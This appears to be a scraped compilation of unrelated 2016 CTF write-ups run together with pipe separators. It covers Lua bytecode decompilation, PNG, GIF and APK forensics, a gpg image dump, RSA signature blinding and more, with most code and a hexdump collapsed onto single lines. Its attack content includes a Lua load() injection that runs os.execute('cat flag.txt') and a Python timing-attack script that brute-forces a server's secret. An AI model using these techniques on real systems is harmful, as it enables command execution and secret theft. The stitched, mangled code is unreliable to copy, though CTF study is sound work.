4103 0100 8f83 0003 8d83 8305 ....A...........00000420: 8783 0300 dd81 0306 2702 fe7f 0642 4100 ........'....BA.00000430: 0782 4104 4002 8000 8002 8003 c1c2 0100 [email protected]: 9dc2 0205 2442 8001 e7c0 fa7f c640 4100 [email protected]: c700 c201 0001 8000 4141 0200 e500 8001 ........AA......00000460: e600 0000 2600 8000 0d0a 0000 0004 0573 ....&..........s00000470: 697a 6513 0000 0000 0000 0000 1301 0000 ize.............00000480: 0000 0000 0004 027c 0402 2004 0674 6162 .......|.. ..tab00000490: 6c65 0407 696e 7365 7274 0403 207c 0407 le..insert.. |..000004a0: 636f 6e63 6174 0402 0d0a 0100 0000 0000 concat..........000004b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................000004c0: 0031 0000 0044 0000 0001 000d 0a10 0000 .1...D..........000004d0: 0047 0040 0086 4040 00c0 0080 0001 8100 .G.@..@@........000004e0: 00a4 8080 01ec 0000 0001 c100 004e 01c1 .............N..000004f0: 0081 0101 0028 8100 8000 0280 0140 0280 .....([email protected]: 0324 4200 0127 c1fe 7fa6 0000 0126 0080 .$B..'.......&..00000510: 0005 0000 0004 0573 697a 6504 0b6d 616b .......size..mak00000520: 655f 626f 6172 6413 0000 0000 0000 0000 e_board.........00000530: 1300 0000 0000 0000 0013 0100 0000 0000 ................00000540: 0000 0100 0000 0000 0100 0000 0035 0000 .............5..00000550: 003d 0000 0001 0008 1800 0000 4500 0000 .=..........E...00000560: 4e00 c000 8500 0000 8e00 4001 c140 0000 N.........@[email protected]: 0181 0000 a880 0380 8501 0000 8f81 8102 ................00000580: 8d01 0003 8681 8100 5f40 4003 1e00 0280 ........_@@.....00000590: 8501 0000 8f81 8100 8d01 0003 c501 0000 ................000005a0: cfc1 8102 cd01 8003 c6c1 8100 88c0 0103 ................000005b0: 4e00 c000 a7c0 fb7f 2600 8000 0300 0000 N.......&.......000005c0: 1301 0000 0000 0000 0013 0000 0000 0000 ................000005d0: 0000 13ff ffff ffff ffff ff03 0000 0001 ................000005e0: 0101 0001 0200 0000 0000 0000 0000 0000 ................000005f0: 0000 0000 0000 0000 0000 0000 0000 0000 ................00000600: 0000 4600 0000 5300 0000 0100 0e19 0000 ..F...S.........00000610: 0047 0040 0086 4040 00c0 0080 0001 8100 .G.@..@@........00000620: 00a4 8080 01c1 8000 000e c1c0 0041 c100 .............A..00000630: 00e8 0003 80ce c1c0 00ce 8181 0301 8200 ................00000640: 004e c2c0 0081 c200 0028 4201 800f 4380 .N.......(B...C.00000650: 050d c301 064f 4300 034d c382 0647 4303 .....OC..M...GC.00000660: 008a 4003 0627 02fe 7fe7 40fc 7fa6 0000 ..@..'[email protected]: 0126 0080 0004 0000 0004 0573 697a 6504 .&.........size.00000680: 0b6d 616b 655f 626f 6172 6413 0000 0000 .make_board.....00000690: 0000 0000 1301 0000 0000 0000 0001 0000 ................000006a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................000006b0: 0000 0000 5500 0000 6700 0000 0100 0d0a ....U...g.......000006c0: 2400 0000 4700 4000 8640 4000 c000 8000 $...G.@..@@.....000006d0: 0181 0000 a480 8001 cb00 0002 01c1 0000 ................000006e0: 4101 0100 8141 0100 c181 0100 eb40 0002 [email protected]: 0181 0000 4ec1 c100 81c1 0100 2841 0080 ....N.......(A..00000700: 07c2 0100 8a00 8203 2701 ff7f 0001 8000 ........'.......00000710: 4f41 8000 4ec1 c102 81c1 0100 2841 0280 OA..N.......(A..00000720: 0e42 8003 0702 0200 47c2 0100 4742 8201 .B......G...GB..00000730: 1f40 0204 1e40 0080 8a80 c003 1e40 0080 .@...@[email protected]: 07c2 0100 8a00 8203 2701 fd7f a600 0001 ........'.......00000750: 2600 8000 0800 0000 0405 7369 7a65 040b &.........size..00000760: 6d61 6b65 5f62 6f61 7264 1300 0000 0000 make_board......00000770: 0000 0004 0261 0402 6204 0263 0402 6413 .....a..b..c..d.00000780: 0100 0000 0000 0000 0100 0000 0000 0000 ................00000790: 0000 0000 0000 0000 0000 0000 0000 0069 ...............i000007a0: 0000 006b 0000 0001 0005 0900 0000 4600 ...k..........F.000007b0: 4000 8600 4000 c600 4000 0001 0000 e400 @...@[email protected]: 0001 a400 0000 6500 0000 6600 0000 2600 ......e...f...&.000007d0: 8000 0100 0000 0407 726f 7461 7465 0100 ........rotate..000007e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................000007f0: 0000 0000 006d 0000 0072 0000 0001 0005 .....m...r......00000800: 0c00 0000 4600 4000 4740 c000 8000 0000 [email protected]@......00000810: c180 0000 6480 8001 8cc0 c000 0101 0100 ....d...........00000820: a480 8001 cc40 c100 e440 0001 a600 0001 .....@[email protected]: 2600 8000 0600 0000 0403 696f 0405 6f70 &.........io..op00000840: 656e 0403 7262 0405 7265 6164 0405 2a61 en..rb..read..*a00000850: 6c6c 0406 636c 6f73 6501 0000 0000 0000 ll..close.......00000860: 0000 0000 0000 0000 0000 0000 0000 0000 ................00000870: 7400 0000 7800 0000 0000 050f 0000 0006 t...x...........00000880: 0040 0007 4040 0046 8040 0081 c000 0064 .@..@@[email protected]00000890: 8000 0181 0001 0024 8080 0146 4041 0080 [email protected]: 0000 00c6 0040 00c7 80c1 0100 0100 00e4 [email protected]: 0000 0164 4000 0026 0080 0007 0000 0004 ...d@..&........000008c0: 0773 7472 696e 6704 0473 7562 0408 7265 .string..sub..re000008d0: 6164 416c 6c04 0c73 6572 7665 722e 6c75 adAll..server.lu000008e0: 6163 1302 0000 0000 0000 0004 0977 7269 ac...........wri000008f0: 7465 7261 7704 046c 656e 0100 0000 0000 teraw..len......00000900: 0000 0000 0000 0000 0000 0000 0000 0000 ................00000910: 007b 0000 007d 0000 0000 0002 0200 0000 .{...}..........00000920: 0840 4080 2600 8000 0200 0000 0405 7175 .@@.&.........qu00000930: 6974 0101 0100 0000 0000 0000 0000 0000 it..............00000940: 0000 0000 0000 0000 0000 007f 0000 0097 ................00000950: 0000 0001 0005 2d00 0000 4600 4000 6480 [email protected].00000960: 8000 8640 4000 8780 4001 c000 8000 a480 ...@@[email protected]: 0001 1fc0 4001 1ec0 0080 8600 4100 a440 [email protected]..@00000980: 8000 8400 0000 a600 0001 8640 4000 8740 ...........@@..@00000990: 4101 c000 8000 0181 0100 a480 8001 a200 A...............000009a0: 0000 1e40 0080 8400 0000 a600 0001 8640 ...@...........@000009b0: 4000 8740 4101 c000 8000 01c1 0100 a480 @[email protected]: 8001 a200 0000 1e40 0080 8400 0000 a600 [email protected]: 0001 8600 4200 c140 0200 0001 8000 dd00 [email protected]: 8101 a480 0001 a480 8000 1f80 4201 1e40 ............B..@000009f0: 0080 c400 0000 e600 0001 c000 0001 0001 ................00000a00: 0000 e500 0001 e600 0000 2600 8000 0b00 ..........&.....00000a10: 0000 0409 7265 6164 6c69 6e65 0407 7374 ....readline..st00000a20: 7269 6e67 0404 6c65 6e13 0000 0000 0000 ring..len.......00000a30: 0000 0405 6578 6974 0405 6669 6e64 0409 ....exit..find..00000a40: 6675 6e63 7469 6f6e 0406 7072 696e 7404 function..print.00000a50: 056c 6f61 6404 0872 6574 7572 6e20 0001 .load..return ..00000a60: 0000 0000 0000 0000 0000 0000 0000 0000 ................00000a70: 0000 0000 0000 9900 0000 ae00 0000 0000 ................00000a80: 0625 0000 0006 0040 0046 4040 0081 8000 .%[email protected]@@....00000a90: 0064 0000 0124 8000 0046 c040 0086 0041 [email protected]00000aa0: 00c0 0000 00a4 8000 01c1 4001 009d c000 [email protected]: 0164 4000 0146 8041 0080 0000 0064 8000 [email protected]..00000ac0: 0186 c041 00a2 4000 001e 4004 805f 00c2 ...A..@...@.._..00000ad0: 001e 4002 8000 0080 0086 4042 00c6 8042 ..@[email protected]00000ae0: 0006 4142 0040 0100 0024 0100 01e4 0000 ..AB.@...$......00000af0: 00a4 8000 0000 0000 011e 8000 8086 c040 ...............@00000b00: 00c1 c002 00a4 4000 0183 0000 00a2 0000 [email protected]: 001e 00f8 7f26 0080 000c 0000 0004 0f70 .....&.........p00000b20: 6f70 756c 6174 655f 626f 6172 6404 0b6d opulate_board..m00000b30: 616b 655f 626f 6172 6413 0800 0000 0000 ake_board.......00000b40: 0000 040d 0a77 7269 7465 6c69 6e65 040f .....writeline..00000b50: 626f 6172 645f 746f 7374 7269 6e67 0402 board_tostring..00000b60: 0d0a 0409 7275 6e5f 7374 6570 0405 7175 ....run_step..qu00000b70: 6974 0004 0566 616c 6c04 0663 7275 7368 it...fall..crush00000b80: 1445 4469 646e 2774 2075 6e64 6572 7374 .EDidn't underst00000b90: 616e 642e 2054 7970 6520 2772 6f74 6174 and. Type 'rotat00000ba0: 6527 2c20 2772 6f74 6174 655f 6c65 6674 e', 'rotate_left00000bb0: 272c 2027 6578 6974 272c 206f 7220 2768 ', 'exit', or 'h00000bc0: 656c 7027 2e0d 0a01 0000 0000 0000 0000 elp'............00000bd0: 0000 0000 0000 0000 0000 0000 0000 0000 ................00000be0: 0000 0000 0000 0000 00 .........```
This gibberish seem to be some lua compiled bytecode. Trying to decompile it with unluac fails as it complains about a missing lua header. After looking into the source code of unluac, we'll see how a header should look [like](https://github.com/viruscamp/unluac/blob/master/src/unluac/parse/BHeader.java#L13).
After prepending a byte with the value `0x1b` we are able to pass the magic check. But the decompiling still fails with errors.If you look carefully, you'll notice that new lines (`\n`, `0a`) never occur alone, but instead as `\r\n` (`0d 0a`). So let's tryto convert them. This time we are lucky and are able to decompile the bytecode:```luafunction make_board(A0_0) local L1_1 L1_1 = {} L1_1.size = A0_0 setmetatable(L1_1, { __tostring = board_tostring }) for _FORV_5_ = 0, A0_0 * A0_0 - 1 do L1_1[_FORV_5_] = 0 end return L1_1endfunction populate_board(A0_2, A1_3, A2_4) local L3_5, L4_6 L3_5 = A0_2.size if A2_4 then L4_6 = math L4_6 = L4_6.randomseed L4_6(A2_4) end if not A1_3 then L4_6 = L3_5 * L3_5 L4_6 = L4_6 * 3 A1_3 = L4_6 / 4 end function L4_6() repeat until A0_2[math.random(L3_5 * L3_5) - 1] == 0 return math.random(L3_5 * L3_5) - 1 end if A1_3 > 0 then for _FORV_8_, _FORV_9_ in ipairs({ "a", "b", "c", "d" }) do A0_2[L4_6()] = _FORV_9_ end for _FORV_8_ = 1, A1_3 - 4 do A0_2[L4_6()] = math.random(4) end return fall(A0_2) endendfunction board_tostring(A0_7) local L1_8, L2_9, L3_10, L4_11, L5_12, L6_13, L7_14 L1_8 = {} L2_9 = A0_7.size for L6_13 = 0, L2_9 - 1 do L7_14 = "|" for _FORV_11_ = 0, L2_9 - 1 do L7_14 = L7_14 .. " " .. A0_7[_FORV_11_ + L6_13 * L2_9] end _FOR_.insert(L1_8, L7_14 .. " |") end return L3_10(L4_11, L5_12)endfunction fall(A0_15) local L1_16, L2_17, L3_18, L4_19, L5_20, L6_21, L7_22 L1_16 = A0_15.size L2_17 = make_board L3_18 = L1_16 L2_17 = L2_17(L3_18, L4_19) function L3_18(A0_23) local L1_24, L3_25, L4_26, L5_27, L6_28, L7_29 L1_24 = L1_16 L1_24 = L1_24 - 1 for L6_28 = L3_25 - 1, 0, -1 do L7_29 = L1_16 L7_29 = L6_28 * L7_29 L7_29 = L7_29 + A0_23 L7_29 = A0_15[L7_29] if L7_29 ~= 0 then L7_29 = L1_16 L7_29 = L1_24 * L7_29 L7_29 = L7_29 + A0_23 L2_17[L7_29] = A0_15[L6_28 * L1_16 + A0_23] L1_24 = L1_24 - 1 end end end for L7_22 = 0, L1_16 - 1 do L3_18(L7_22) end return L2_17endfunction rotate(A0_30) local L1_31 L1_31 = A0_30.size for _FORV_6_ = 0, L1_31 - 1 do for _FORV_11_ = 0, L1_31 - 1 do make_board(L1_31, 0)[_FORV_11_ * L1_31 + (L1_31 - 1 - _FORV_6_)] = A0_30[_FORV_6_ * L1_31 + _FORV_11_] end end return (make_board(L1_31, 0))endfunction crush(A0_32) local L1_33 L1_33 = A0_32.size for _FORV_7_ = 0, L1_33 - 1 do make_board(L1_33, 0)[_FORV_7_] = A0_32[_FORV_7_] end for _FORV_7_ = L1_33, L1_33 * L1_33 - 1 do if A0_32[_FORV_7_ - L1_33] == ({ "a", "b", "c", "d" })[A0_32[_FORV_7_]] then make_board(L1_33, 0)[_FORV_7_] = 0 else make_board(L1_33, 0)[_FORV_7_] = A0_32[_FORV_7_] end end return (make_board(L1_33, 0))endfunction rotate_left(A0_34) local L1_35, L2_36 L1_35 = rotate L2_36 = rotate L2_36 = L2_36(rotate(A0_34)) return L1_35(L2_36, L2_36(rotate(A0_34)))endfunction readAll(A0_37) io.open(A0_37, "rb"):close() return (io.open(A0_37, "rb"):read("*all"))endfunction help() local L0_38 L0_38 = string L0_38 = L0_38.sub L0_38 = L0_38(readAll("server.luac"), 2) writeraw(L0_38, string.len(L0_38))endquit = falsefunction exit() local L0_39, L1_40 quit = trueendfunction run_step(A0_41) local L1_42, L2_43 L1_42 = readline L1_42 = L1_42() L2_43 = string L2_43 = L2_43.len L2_43 = L2_43(L1_42) if L2_43 == 0 then L2_43 = exit L2_43() L2_43 = nil return L2_43 end L2_43 = string L2_43 = L2_43.find L2_43 = L2_43(L1_42, "function") if L2_43 then L2_43 = nil return L2_43 end L2_43 = string L2_43 = L2_43.find L2_43 = L2_43(L1_42, "print") if L2_43 then L2_43 = nil return L2_43 end L2_43 = load L2_43 = L2_43("return " .. L1_42) L2_43 = L2_43() if L2_43 == nil then return nil end return L2_43(A0_41)endfunction game() local L0_44 L0_44 = populate_board L0_44 = L0_44(make_board(8)) repeat writeline(board_tostring(L0_44) .. "\n") if not quit then if run_step(L0_44) ~= nil then L0_44 = run_step(L0_44) L0_44 = fall(crush(fall(L0_44))) else writeline("Didn't understand. Type 'rotate', 'rotate_left', 'exit', or 'help'.\n") end end until falseendwriteline("let's play a game\n")game()```
The interesting function in this case is the `run_step` one. As you may notice, there is no comparisons for the available commands(`help`, `rotate`, `rotate_left`, `exit`), but instead there are functions available which are named liked this. Additionally, the`run_step` function checks our input if it contains the strings `function` or `print`. If you look carefully at the line ``L2_43 = load`` and the follow ups, you may see that we can reduce them to the following:```luaload("return " .. L1_42)()```
This means that our input (stored in the variable `L1_42`) is placed after a return statement and interpreted. This would create ananonymous function which is afterwards called to return a reference to the function which is named after the entered command.
Our goal is to inject our own code to gain the flag (typically stored in a file near the executable). This means that we can try toexecute system commands (`os.execute`). Guess what, it works :)
```luaos.execute("ls")```to get the filename of the flag and```luaos.execute("cat flag.txt")```to get the flag. |
$ ls -l 1479482882.21_quake.png-rw-r--r-- 1 user user 1478038 Nov 18 16:28 1479482882.21_quake.png$ file 1479482882.21_quake.png1479482882.21_quake.png: PNG image data, 1683 x 947, 8-bit/color RGB, non-interlaced$ grep -a -b -o IEND 1479482882.21_quake.png1473685:IENDSo there are some data after the PNG$ dd if=1479482882.21_quake.png of=raw.bin bs=1 skip=$((1473685+8))Inspection of the data reveals a kind of palette at the end, but nibble-invertedSo let's swap nibbles$ cat raw.bin |xxd -p|tr -d '\n'|rev|xxd -r -p > raw.bin2$ file raw.bin2raw.bin2: GIF image data, version 89a, 480 x 25The flag is in the new image:GH16{20_Years_Olds_Game...Still_Played_!}(and now I realize the title was a clue... "ekauQ") |
#400 - My Game
>Letters intertwined>The end, recombined.>Awake, lying blinking,>Intensely thinking.>Muse and proclaim...>“It’s my game!”
>?HLJ1>AA"AII>888!CE9>AA>"~>IIG888BAA~@>d>B~B?HH0bAI>>AE&>IIAACMQa
#Solution
After examining the words in the problem, we took the first letters of each word and found that they spelled out `LITERALBITMAPIMG`A bitmap image is essentially just a grid of pixels, so we then thought about how to convert the string they gave us into a bitmap. There are 65 characters in the string. If we use each individual character as a pixel, it would come out to be a 5x13 image, which isn't big enough to have a flag. So we convert the string to binary!Using (http://www.asciitohex.com/) we converted the ascii to binary and wrote a python script to construct a 8x65 bitmap.
```pythonfrom PIL import Image
bits = "00111111 01001000 01001100 01001010 00110001 00111110 01000001 01000001 00100010 01000001 01001001 01001001 00111110 00111000 00111000 00111000 00100001 01000011 01000101 00111001 00111110 01000001 01000001 00111110 00100010 01111110 00111110 01001001 01001001 01000111 00111000 00111000 00111000 01000010 01000001 01000001 01111110 01000000 00111110 01100100 00111110 01000010 01111110 01000010 00111111 01001000 01001000 00110000 01100010 01000001 01001001 00111110 00111110 01000001 01000101 00100110 00111110 01001001 01001001 01000001 01000001 01000011 01001101 01010001 01100001"bits = bits.replace(" ", "")x = 8y = 65img = Image.new("RGB", (x, y), "white")for i in range(y): for a in range(x): if (bits[a + (i * x)] == "1"): img.putpixel((a, i), (0, 0, 0))
img.save("flag.jpg")```

After playing around with the x and y variables which specify the width and height of the bitmap image created, we found that creating a vertical 8x65 image gave us the flag, although we had to invert the image and rotate it.
#Flag
>RC3-2016-JAIP3GEZ |
#100 - My Lil Droid
>We were given an [apk](https://github.com/Alaska47/RC3CTF-2016-Writeups/blob/master/forensics/100-My-Lil-Droid/youtube.apk) file.
#Solution
Upon extracting the contents of the apk, we start searching through the files. In `build-data.properties`, we spot something peculiar.`UkMz-2016-R09URU0yMQ==`
This is clearly the flag because of the -2016-. The `==` at the end tells us that it is most likely base 64, so we use decode it using base 64 and get the flag.
```pythonimport base64print base64.b64decode("UkMz") + "-2016-" + base64.b64decode("R09URU0yMQ==")```
#Flag
>RC3-2016-GOTEM21 |
#400 - Dirty Birdy
>We were given a [dump](https://github.com/RITC3/RC3CTF-2016/blob/master/Forensics/Forensics-400/dtrump.img.zip)
#Solution
First we extract the image and mount it. We then start examining the files for anything interesting. First thing to check is always the logs. We search `log` and `.log` and check all of the files that come up, but there wasn't anything peculiar. We then look on the root home folder and start looking in those files. When we looked at `_HISTORY` we knew we found something.
``` 1 mkdir secret files 2 mkdir secretfiles 3 rm -rf secret files/ 4 ls 5 cd secretfiles/ 6 gpg --gen-key 7 lkjsanfdklsnflkjsldfnlksjflksnklfsdknsaasl;kn;sdlafasnflnsa;lfn;lsanfas;dnfijsad;jnkmkjlknsm;dafijks mjnskfdmcmfd;najmldkfjdasnlvmdflkdasvklnmdsavjbknmdslvjdnjsmalcdvkjdknsfm,lvzcxkjkxlzvndsmd,lsakcvxzjklnm,s.admkcvxzojklnm,sadmlkcvxzjklnvm,smdalkcvjxzklnm,sdmalkcvzxjknm,s adlkcvcjzxknm,sdalkcvxnm,smdslakclvcnm,lkacslcm,lcsklv;mc ,slacxzknmc ,l,cxzkmmc,lcxzmk c,xlczklm ,lxkczlncm ,lcxzk lm zc,alscxzkln'klsdml'kanlnlksdnvla'dlvvalslsalsdlksnadv'sdlkvnsd'lvn'alskdnv'lsdkvns'ldnv'sldkvnsa'ldkvns'ladvnlasdvkna'sdvknasdv'a'sdvlnasdv'adnv'asdv'ksndv'sadv'savd'lsnadv'lskdnv'sdvlnsdv'lksadnv'lsamdv;lsdmv';lsa;dlvms'advm';asdmv';sadv;las'dmvsadv';asdlmvsa'd;vlmasd'vnmas'dv;lmsd'v;lsmadv';sladmv'sa;ldvmas'vd;l'masv';oasekmo;kmsdvav';lasdmv's;alvm'a;sldvm'sa;dlvmsa';ldvms'a;dvlmsd';vlmsa'd;vlsmad'vlksadv';lsamdv';saldmv';lsdavm'sad;vm'as;dlvmasd'v;lmsadv'asd;lmassdkalmvsad'sadmv'asd;vmasdv';saldmvsad';vkmsa'v;msdv';sadv';sadv;lasmvd';asldmvsa';dlvmsad;alssdav';saldvasdv';lsdamv'as;dv's;ladm'v;sdlmdv';lmdav';lmdsa';lsdv';lsdmv';lsdmsdva';lmsadv';ladvm'sdm;l'dsam';dlvsm'sadv;lmsda';msd';lmsv';lmsdv';lmdsvsdv;lmdv';ladsm'dsopwe[wqw 8 alkn;lasdnf;lkasnd;flk,m smcm, lpcm ,sdlafk;ndv;kszlakofenjkvzoavdfewn;kavd;ndasfwken vkdmfavknv dakdskofweknv asdfokknv zvasdfkowdvknz cvsadkodvknzvsdakfokdvnzskdakfmkdlv;szsdmakfmldvsm ,zcxmvsadkvnz cxmvsdakofnv zcxvsdakofkdnv zsdakfokndv zcxvmsdakfkndv zvsdmkndv cxzmvsdaknvm zmvsdamkns vdczxmvsdkfknsvczxmvksdmknmv czxmvkslamfm ,vczmxlvsfam CXZMSdwqn. fdsvzcbzxshad m,czxc kojiobjkf wqeml;wpfasdovzxci0 9 LS 10 ls 11 gpgp 12 gpg 13 gpg --edit-key 14 gpg --edit-key 'ThugG' 15 gpg --encrypt Workbook1.xlsx 16 ls 17 shred -n 200 -z -u Workbook1.xlsx 18 ls 19 vim document.txt 20 gpg --export-secret-key -a "ThugG" > /home/dtrump/secretfiles/private.key 21 echo "# supersecret" >> README.md 22 git init 23 git add private.key 24 git commit -m "initial commit" 25 git config --global user.email "[email protected]" 26 git config --global user.name "ThugG" 27 git commit -m "initial commit" 37 history -c```
We see that this person created a secretfiles directory. Then, we see that he used [gpg](https://www.gnupg.org/documentation/manpage.html) to create a key and encrypt an excel file. Then deleted the original excel file, opened and presumably edited document.txt. He then exported the gpg key he used to encrypt the excel file and uploaded it onto a git repository.
We see that there is a folder named SECRETFI. This is probably the directory that this person created. We cd into it and start looking at the files.
We see the encrypted WORKBOOK.GPG that we will probably need to decrypt.We quickly look in document.txt and find:
`passowrd123`
After reading a bit about gpg, we found that we need the key that was used to encrypt it. So we look inside the `_GIT` folder and look inside the `CONFIG` file to find a link to a git repository.
`https://github.com/rc3club/supersecret.git`
We click it and find private.key. We can now use this to decrypt `WORKBOOK.GPG`!!!We cd into the directory with `private.key` and `WORKBOOK.GPG` then run the following command:
`gpg --import private.key`
This imports the private key which we can now use to decrypt `WORKBOOK.GPG`
`gpg -d WORKBOOK.GPG > workbook.xlsx`
Now we have the decrypted excel file. We open it and find a password prompt. This must be the password in document.txt! So we input `passowrd123` and it didn't work! But turns out they made a typo and the actual password was `password123`
We open the excel file and click on Sheet2 to find the flag.
#Flag
>RC3-2016-SNEAKY21 |
#150 - Goodtime
>We were given a youtube [link](https://www.youtube.com/watch?v=H7HmzwI67ec) to the song Good Time by Owl City & Carly Rae Jepsen and `nc goodtime.ctf.rc3.club 5866`
#Solution
We were given a link to the song Good Time by Owl City & Carly Rae Jepsen and a server to netcat to. Lets try netcatting to the server.
`nc goodtime.ctf.rc3.club 5866`
We were greeted with a prompt to enter the flag. We try entering gibberish, but it just returns "Nope". Then since we know that all flags begin with `RC3-2016-` we try entering that. We notice that the server paused for a while then returns "Nope". This must be a timing attack! Now we just have to write a python script to brute force the flag based on the times.
```pythonimport socket, base64import timedef call(payload): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("goodtime.ctf.rc3.club", 5866)) start = int(round(time.time() * 1000)) data = repr(s.recv(1024)) s.send(payload) data = repr(s.recv(1024)) end = int(round(time.time() * 1000)) s.shutdown(socket.SHUT_WR) s.close() return str(end - start) + "gugugu" + str(data)
flag = "RC3-2016-"res = "60guguguNope\\n"great = int(call(flag).split("gugugu")[0])greatch = ""charset = "abcdefghijklmnopqrstuvwxyz-_1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ"charset2 = "!@#$%^&*()+=[]{}\|/;:<>,.?"while ("Nope" in str(res.split("gugugu")[1])): for a in charset: res = call(flag + str(a)) num = int(res.split("gugugu")[0]) print str(num) + " " + a if (num > great): if (num - great > 150): print a great = num greatch = str(a) flag += greatch print flag```
This program tests each character in the charset string and records the time it takes for the server to return a response. I found the threshold of time between each character to be 150-250 milliseconds, but since the server was buggy sometimes, I just iterated through the charset and used the character that had the longest response time. I later added charset2 after the program couldn't find a character that had a significant difference in time, which fixed that issue.After having the program run for a while, and guessing words/letters in the flag, we finally get the flag when the server returns "Yup!"
#Flag
>RC3-2016-itz-alw4yz-a-g00d-t1m1ng-@tt@ck |
# Consul - Reversing - 100 points
>Bernie Sanders 2018>>consul>>author's irc nick: mxms
Program is total spaghetti and doesn't do anything useful on execution. But there is an area with strings that seem to be XORed with a constant byte in some functions, so let's just brute force until we find a flag.
A small script later, and we have the flag `flag{write_in_bernie!}` |
# TrumpTrump (crypto 100) Trump says that he never signs his picture and we get e, n, and a picture of Trump. It comes directly to us that the sign is the signature of RSA. A signature is to calculate s^d mod n for some s. The server provides the signature service but doesn't accept Trump's picture. We translate the bytes of Trump's picture into a big integer and module it by n. When we send the integer to the server, it refuses to sign, so we know that it's the number to sign. After finding its prime factors, we can represent the number into to integer.```s_1 = 109893 = 3*7*5233s_2 = 120731889094158286484617210973106962345273328403938842471837847975209050781576030474171227293954443557802845133332389302509838952607755839943662245599125175370971428280705169554110228049186159493533245186665910385770616761523397758158738706294519377519224555343582848279252778839404558389579328957829822275628497010461810947545061654456993313593873667078964593865071061878691246163732153973587034631212230585652115860005015795467460386228859046508849919746972301840817635009176665675272483505914973166354435560644540415393365440753284931913808697236105421011125744062716884628030782468571537450155761699993214759```The server signs both the integers. We can recover the sign of the picture by multiplying the two signed integer and send it back to server. Then, it returns a long hex string starting with 'FFD8'. We store the string and convert it to binary and find the image.  |
#300 - Cats>Problem description here
We were given a link to a gif file. After we download the file, our first instinct was to split the gif.We used (http://ezgif.com/split) to split the gif into frames, and downloaded the frames.
We can see that there are 8 frames, and the problem description states that we need to find 8 characters, so we can be pretty sure that each frame decodes into one character.
We tried to run foremost, binwalk, and strings on the images, but that yielded no results. But then we looked at the images themselves, and saw that the number of cats may mean something.
We counted the number of cats in each image and got:
`14 9 1 20 23 15 5 13`
All of the numbers are below 26, so we thought alphabet indexes. So we used (http://rumkin.com/tools/cipher/numbers.php) to convert the numbers to letters and got:
`NIATWOEM`
We tried "RC3-2016-NIATWOEM" as the flag, but it didn't work. Then we saw MEOW in the word if you reverse the string, so we reversed the string and entered that as the flag.
#Flag
>RC3-2016-MEOWTAIN |
# Vermatrix Supreme (crypto 100)hangout.py is the code of server. After looks through the code of server, we find that it encrypt by ``` pythondef fixmatrix(matrixa, matrixb): out = [[0 for x in xrange(3)] for x in xrange(3)] for rn in xrange(3): for cn in xrange(3): out[cn][rn] = (int(matrixa[rn][cn])|int(matrixb[cn][rn]))&~(int(matrixa[rn][cn])&int(matrixb[cn][rn])) return out```(a|b)&~(a&b) is actually a^bSo we only needs to XOR the string back by its permutation. The seed is arranged to 3*3 matrixes, and transpose every iteration. After some try and error we figure out the solution (solve.py). |
Like + Comment + Share Thanks you very much :D<span>Contact us : [email protected]</span>https://phucteam.wordpress.com/2016/11/23/rc3-ctf-forensic-100-my-lil-droid/ |
<span>Original Article at:https://penafieljlm.wordpress.com/2016/10/29/ekoparty-ctf-2016-write-ups/#rev-50</span>Reversing 50 (F#ck)A wild inappropriately named reverse engineering challenge appears!The attachment contains a single Windows executable file named “FlagGenerator.exe”. Upon closer inspection (via a text editor), one would see that the executable is a .NET assembly.RequirementsILSpy (a .NET decompiler).Visual StudioProcessOpen the “FlagGenerate.exe” file with ILSpyView the decompilation for “FlagGenerator/-/Program”Create a Visual Studio ProjectAdd the “FSharp.Core” assembly to the References of your projectCopy all of the imports in the decompilation to your projectCopy the entire “Program” class to your projectReplace all instances of teArr@9 to teArrat9 (or any other valid name) to suppress some of the syntax errorsBeforeAfterReplace entire main method with a call to Program.get_flag(“t#hs_siht_kc#f”) and and print of its return valueBeforeAfterRun the program, copy the output, and pass it as an argument to “FlagGenerator.exe”The flag is “EKO{f#ck_this_sh#t}” |
# SAPERLIPOPETTE## 100 pts
Le challenge consiste à analyser un fichier pcap contenant des trames SAP.Le flag n’est pas au format GH16{…} ce qui "complique" un peu plus nos recherches.
Naturellement, le fichier étant un Pcap, on pense à l’analyser avec Wireshark.Malheureusement, on se rend vite compte que les données sont encryptées.
Pour obtenir du texte lisible, on lance une machine virtuelle Windows et on ouvre le logiciel Cain et Abel.On importe le pcap, puis on se rend dans la partie Sniffer. Il faut sélectioner SAP Dialog.

Pour afficher le contenu déchiffré, il faut cliquer droit sur une ligne, puis sur "View".
Les recherches commencent donc dans le fichier texte. À coup de Ctrl-F on cherche les expressions potentiellement correctes (ex : flag, grehack, chartreuse :3).Au bout de quelques temps n’ayant rien trouvé de concluant dans le premier fichier, on passe au deuxième.
Et soudain...

__flag is : obfuscation is not security__ |
# Warp Speed (forensic 150)The origin image is unreadable but we can see that it's cut into slices and reordered left-right, left-right...  After many times of cut and paste, we can recover the image.  |
https://sebnet.org/ctf-grehack16-writeup-hardware-phonecard-arduino.htmlWrite up for the hardware challenge "Phreak Me ! 1/2" 300 and "Phreak Me ! 2/2" 200.Done by Lou & SebNet |
#!/usr/bin/env python3
import structimport zlib
# Daytonaaaaaaaaaa!!!!!# by iggy# 200 points## Never look down and go ahead !## sha1sum : 0561a37c09185f55baac1dd475adbca8d0cc0984
# File available here: https://i.imgur.com/6BtRzsa.png
# $ file 1479482698.53_daytona.png# 1479482698.53_daytona.png: PNG image data, 940 x 663, 8-bit/color RGBA, non-interlaced
# nothing appeared abnormal in the PNG file format# or in the pixels, so digging deeper in the PNG data:
f=open('1479482698.53_daytona.png', 'rb')_ = f.read(8)idat = b''while (True): l, = struct.unpack(">I", f.read(4)) t = f.read(4) d = f.read(l) _ = f.read(4) if t == b"IDAT": idat+=d if t == b"IEND": breakdata=zlib.decompress(idat)
print("got", len(data))print("expected", (940*4+1)*663)print("expected height", len(data)/(940*4+1))
# Solution:# * patch image height in the IHDR (replace 0x0297 by 0x02b0)# * fix IHDR CRC (replace 0x81f1c79e by 0x9c58f210)# * profit -> https://i.imgur.com/vSZN4cT.png# Flag:# GH16{Was_a_f**k_damn_great_game_!} |
GameTime was an easy windows rev task. The challenge is a game which asks you to press keys on demand. It gives you around 0x14 milliseconds to enter the key. I solved it by patching all the conditions using olly. |
# Forum for all##### Juniors CTF 2016 (http://ctf.org.ru)```http://10.0.38.133:61937```
